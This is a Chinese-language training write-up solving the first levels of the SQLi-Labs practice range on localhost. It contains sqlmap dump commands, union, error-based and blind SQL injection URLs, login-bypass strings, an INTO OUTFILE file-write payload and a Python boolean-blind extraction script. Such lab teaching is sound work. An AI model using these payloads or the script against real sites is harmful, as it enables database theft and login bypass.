零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
2022-12-20 20:36:24 Author: Ms08067安全实验室(查看原文) 阅读量:27 收藏

文章来源 | MS08067 Web零基础就业班1期作业

本文作者:giunwr、tyrant(零基础1期)

SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:

一、作业描述

完成sqllibs前18关,尽可能使用多的方法

二、sqllibs安装和sqlmap的安装

(一)、sqllibs安装

把对应该文件放在网站根目录下面,打开配置文件,修改密码

同时在自己的数据库中,执行该文件里面的命令即可

安装成功后的效果

(二)、sqlmap安装

环境:windows 10+python3 工具下载地址:https://github.com/sqlmapproject/sqlmap

安装步骤:下载好工具后,解压

创建访问快捷方式:

桌面右键创建快捷方式

创建好后右击属性,修改一下起始路径(就是你sqlMap的文件夹)

打开测试是否安装成功 python3 sqlmap.py -h

三、第一关

(一)、使用sqlmap工具注入

判断是否有注入点python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1"

找出当前数据库python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --current-db

找出当前数据库下面的表python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --tables -D "security"

找出users中的字段,发现有我们需要的账号密码信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users"

获取users表下的信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users" -dump或者使用这个命令python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --dump -D "security" -T "users" -C "password,username"

(二)、手动联合注入

  1. 判断是否存在注⼊及注⼊类型 说明是单引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1'")

2、判断列数 可以看出当前是表是有3列数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%204--+http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%203--+

5、判断回显位置http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+4、爆数据库 当前数据库为:securityhttp://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+5、爆表 有个users表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+

6、爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_SCHEMA ="security" AND TABLE_NAME="users")USING gbk),3--+

7、爆数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((select group_concat(username) from security.users)USING gbk),CONVERT((select group_concat(password) from security.users)USING gbk)--+

(三)、手动报错注入

爆数据库http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+爆表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),0x7e))--+爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(COLUMN_NAME)%20FROM%20information_schema.COLUMNS%20where%20TABLE_SCHEMA%20=%22security%22%20AND%20TABLE_NAME=%22users%22)USING%20gbk),0x7e))--+爆数据 注意extractvalue()最多只能查询32个字符。http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users)USING%20gbk),0x7e))--+而该字段有8个数据,而上面只获取了5个账号信息http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select count(*) from security.users),0x7e))--+获取剩下的数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users%20where%20id%3E5)USING%20gbk),0x7e))--+获取admin对应的密码http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(password)%20from%20security.users%20where%20id=8)USING%20gbk),0x7e))--+

四、第二关

http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%27%22) 不是引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=1 正常 http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2 异常 判断为数字型SQL注入

其他步骤和第一关一样,只需要把第一关的单引号替换为 and 1=2即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,database()%20--+

五、第三关

判断为')注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为')即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-3/?id=1%27%22)--+

六、第四关

判断为")注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为")即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-4/?id=1%27%22)111

七、第五关

判断为单引号注入,同时没有报错的时候不会回显内容,需要使用报错注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%22)剩下的和第一关中的报错注入一模一样,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+

八、第六关

判断为双引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-6/?id=1%27%22)111其余参考第一关报错注入

九、第七关

注意mysql默认不允许上传和导出文件 需要修改配置文件my.ini secure_file_priv=,值为空就是不限制目录,默认为NULL不允许上传 数据库中查询语句SHOW VARIABLES LIKE "secure_file_priv"

这边使用sqlmap注入python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1" --dump -D "security" -T "users" -C "password,username"

手动注入判断注入类型:字符型注入 ?id=1'))

http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,database()%20into%20outfile%20%22F:/res.txt%22%20--+其他的替换database()字段为我们需要的语句即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk)%20into%20outfile%20%22F:/res1.txt%22%20--+

十、第八关

判断回显位置,闭合方式为单引号闭合http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/?id=1%27or%201=1--+

可以看出报错和不报错的明显差别

使用布尔盲注 python脚本如下

import requests
import string
mystring = string.printable #所有可⻅字符
url='http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/'
# url+='?id=-1\' or (substring((select group_concat(username) from users),{0},1)=\'{1}\') -- -'
url+='?id=-1\' or (substring(database(),{0},1)=\'{1}\') -- -'
reply='You are in...........'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
#         print((response.content))
#         print(url.format(count,char))
        if reply in str(response.content):
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
        print('result: '+result[0:-3])
        break
    count+=1

url+='?id=-1' or (substring(database(),{0},1)='{1}') -- -'这句代码中间的语句database()换成我们需要执行的语句即可,如截图中的 SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22执行效果如下

十一、第九关

这一关,不管怎样构造闭合,都会跟成功显示了一样似的,看似没有问题。

用时间盲注试了一下,用'就可以闭合。且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5), 1 )--+

	可以看到,5秒后,页面才正常加载。在通过ASCII编码转义一下,完成注入。

十二、第十关

这一关跟第九个类似,用双引号闭合。利用时间盲注完成注入

十三、第十一关

这一关,需要登录,猜测用户验证的语句为:select * from users where username='' and password = ''.
因此考虑在username这里构造闭合 1' or 1#,并or 1,让后边的条件为真。

十四、第十二关

这一关用户名输入1",通过错误提示,构造闭合为1") or 1# ,顺利过关

十五、第十三关

这一关用户名输入123',通过错误提示,构造闭合为1') or 1# ,顺利过关

十六、第十四关

这一关用户名输入1",通过错误提示,构造闭合为1" or 1# ,顺利过关

十七、第十五关

这一关,不论怎么输,不打印错误提示了,猜测他的查询语句,进行闭合猜测,并尝试1' or 1#,猜测正确,顺利过关。

十八、第十六关

类似15关,猜测语句为1") or 1 #,顺利过关

—  实验室旗下直播培训课程  —


来和20000+位同学加入MS08067一起学习吧!


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247505029&idx=1&sn=6abad067219793f8bf340c7d1f2a61aa&chksm=fc3c6d84cb4be492fecffe3e68608f56ac9c761fb22e7113ede6c984181ebec0e9338dc4c98b#rd
如有侵权请联系:admin#unsafe.sh